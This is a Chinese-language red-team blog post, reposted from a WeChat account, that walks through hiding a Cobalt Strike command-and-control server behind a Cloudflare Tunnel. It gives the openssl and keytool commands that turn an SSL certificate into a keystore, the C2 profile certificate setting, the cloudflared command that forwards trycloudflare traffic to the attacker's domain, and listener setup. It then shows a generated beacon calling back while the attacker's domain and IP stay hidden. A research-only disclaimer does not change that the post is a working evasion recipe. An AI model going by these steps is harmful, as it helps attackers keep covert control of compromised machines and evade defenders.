Cloudflare Tunnel+Cobalt Strike隐藏C2

admin 2024年5月7日07:50:34评论10 views字数 3130阅读10分26秒阅读模式

0x00 Cloudflare Tunnel

Cloudflare Tunnel是Cloudflare 提供的一项免费的加密隧道服务,可以用于内网穿透,将本地/内网中的服务安全地暴露在公共互联网上。相比较于其他内网穿透工具如 frp、ngrok 等,Cloudflare Tunnel可以获得更好的安全性和性能。无需考虑电信、移动等ISP不提供固定IP地址、不能开放端口等问题,并且解决了备案问题。

Cloudflare Tunnel在Cloudflare云与内网设备之间打通一条加密隧道,使Cloudflare的CDN可以通过这条加密隧道访问到部署在内网的服务,而外部用户也可以通过Cloudflare从互联网访问这些服务。

0x01 Cloudflare Tunnel进行C2隐藏

目前网上有一些使用Cloudflare Tunnel进行内网穿透的教程文章,可以自行搜索。不过既然Cloudflare Tunnel能把访问Cloudflare CDN的流量转发到内网服务,那是不是也可以把Cloudflare CDN域名作为上线监听,然后将上线请求转发到真正的C2服务器上?

经过测试,是可以的。而且这种方法跟直接使用Cloudflare加速域名隐藏C2不同,后者依然会暴露攻击者托管在Cloudflare的域名,只是隐藏了IP,而Cloudflare Tunnel中既不会暴露域名,也不会暴露IP,某些APT组织也使用这种方法来隐藏C2。而且目前国内能用的CDN、域前置服务越来越少,有的企业内网甚至直接封禁了对云函数的解析,在这种情况下,使用Cloudflare Tunnel隐藏C2或许是个不错的选择。

  • 域名配置

首先需要有一个域名和一个公网IP(作为C2),配置域名解析到C2服务器上:

Cloudflare Tunnel+Cobalt Strike隐藏C2

去freessl给这个域名申请SSL证书:

Cloudflare Tunnel+Cobalt Strike隐藏C2

具体步骤可以去网上搜一下,最终申请成功的话会生成四个文件:

证书文件(kxx.com.cer): 网站或服务的公开SSL证书,包含了网站的公钥和证书的其它元数据,比如颁发者的信息、有效期等。

私钥文件 (kxx.com.key): 与公开证书相对应的私钥。用于服务器对传输的数据进行加密,只有相应的公钥能解密。

中间CA证书(ca.cer): 中间证书颁发机构(CA)的证书,用于建立一个信任链,从证书到根CA。一些SSL配置要求单独的中间CA证书。

完整链证书(fullchain.cer): 此文件包括网站证书和中间CA证书。在大多数服务器软件配置中,使用完整链证书是比较推荐的,因为它提供了从证书到根CA的完整路径,确保了兼容性。

Cloudflare Tunnel+Cobalt Strike隐藏C2

  • CS配置

生成这些文件后,需要将其转换Java KeyStore文件供CS使用。

首先使用OpenSSL将证书和私钥转换成PKCS12(p12)格式。这是一个包含了证书和私钥的二进制格式。

openssl pkcs12 -export -out kkk.com.p12 -inkey kkk.com.key -in fullchain.cer
统提示输入导出密码时,输入一个用来保护p12文件的密码。假如密码是k123456,域名是kkk.com。

然后将PKCS12文件导入到Java KeyStore:

keytool -importkeystore -deststorepass [your-keystore-password] -destkeypass [your-key-password] -destkeystore [newname].store -srckeystore kkk.p12 -srcstoretype PKCS12 -srcstorepass [your-p12-password] -alias [your-alias]
keytool -importkeystore -deststorepass k123456 -destkeypass k123456 -destkeystore kkk.com.store -srckeystore kkk.com.p12 -srcstoretype PKCS12 -srcstorepass k123456 -alias kkk.com
修改CS的C2-Profiles文件,指定https-certificate为新的证书,这样还能顺带修改一下默认证书特征。
https-certificate {set keystore "kkk.com.store";set password "k123456";}

然后加载Profiles文件启动CS teamserver。

去官方下载对应架构的安装包:

https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/downloads/

然后安装:

dpkg-i cloudflared-linux-amd64.deb

Cloudflare Tunnel+Cobalt Strike隐藏C2

安装完成后,执行如下指令,--url后面跟https://域名(kkk.com)

cloudflared tunnel --url https://kkk.com

成功后,会生成一个随机的trycloudflare子域名,这意味着所有对xxx.trycloudflare.com的访问流量都将被转发到https://kkk.com,而kkk.com就会解析到我们的C2服务器。

Cloudflare Tunnel+Cobalt Strike隐藏C2

然后进行CS监听器的配置,将监听地址设置为上面cloudflared tunel生成的域名,端口填443:

Cloudflare Tunnel+Cobalt Strike隐藏C2

生成一个exe执行,成功上线:

Cloudflare Tunnel+Cobalt Strike隐藏C2

exe外联IP和安全日志中的DNS解析情况如下,可以看到域名和IP都是cloudflared的,并未暴露攻击者的kkk.com和193.xx.xx.xx的IP:

Cloudflare Tunnel+Cobalt Strike隐藏C2

Cloudflare Tunnel+Cobalt Strike隐藏C2

0x03 注意

有几个地方需要注意:

  • 默认C2的上线端口应该就只能是443,因为cloudflared tunel默认生成的地址就是443:https://caring-syndication-pants-outreach.trycloudflare.com,而这个是需要配在CS监听器里的。
  • 不能直接在C2服务器上cloudflared tunnel --url https://localhost:443,需要通过一个域名。
  • 用localhost会在有机器尝试上线时报证书不匹配的错误而且无法上线:tls: failed to verify certificate: x509: certificate is valid for kxxx.com, not localhost。
    Cloudflare Tunnel+Cobalt Strike隐藏C2

    这个错误表明肉鸡尝试通过加密的HTTPS协议访问C2服务时,服务器呈现的SSL/TLS证书无法被验证。SSL证书是为特定域名颁发的,我们在CS里用的证书是为 kxx.com 颁发的,而不是 localhost。因此当cloudflared尝试通过云隧道连接到 localhost 时,由于证书与请求的域名不匹配,无法接受该证书。

    所以说这里我们要有一个可以自己控制的域名,而且不能是那种用baidu.com随便生成的自签名证书,因为--url指定的域名必须与CS证书里的一致,访问xxx.trycloudflare.com的流量最终都会被转发至--url指定的域名,转发到baidu又解析不到我们的C2服务器上,没法控制。

cloudflaredtunnel还有很多其他用法和更为复杂的配置,可以自行研究。如果上面有哪里理解的不对的,欢迎指正~

注:本文内容仅用于研究学习,不可用于网络攻击等非法行为,否则造成的后果均与本文作者和本公众号无关,维护网络安全人人有责~

原文始发于微信公众号(红蓝攻防研究实验室):Cloudflare Tunnel+Cobalt Strike隐藏C2

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月7日07:50:34
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Cloudflare Tunnel+Cobalt Strike隐藏C2https://cn-sec.com/archives/2713530.html

发表评论

匿名网友 填写信息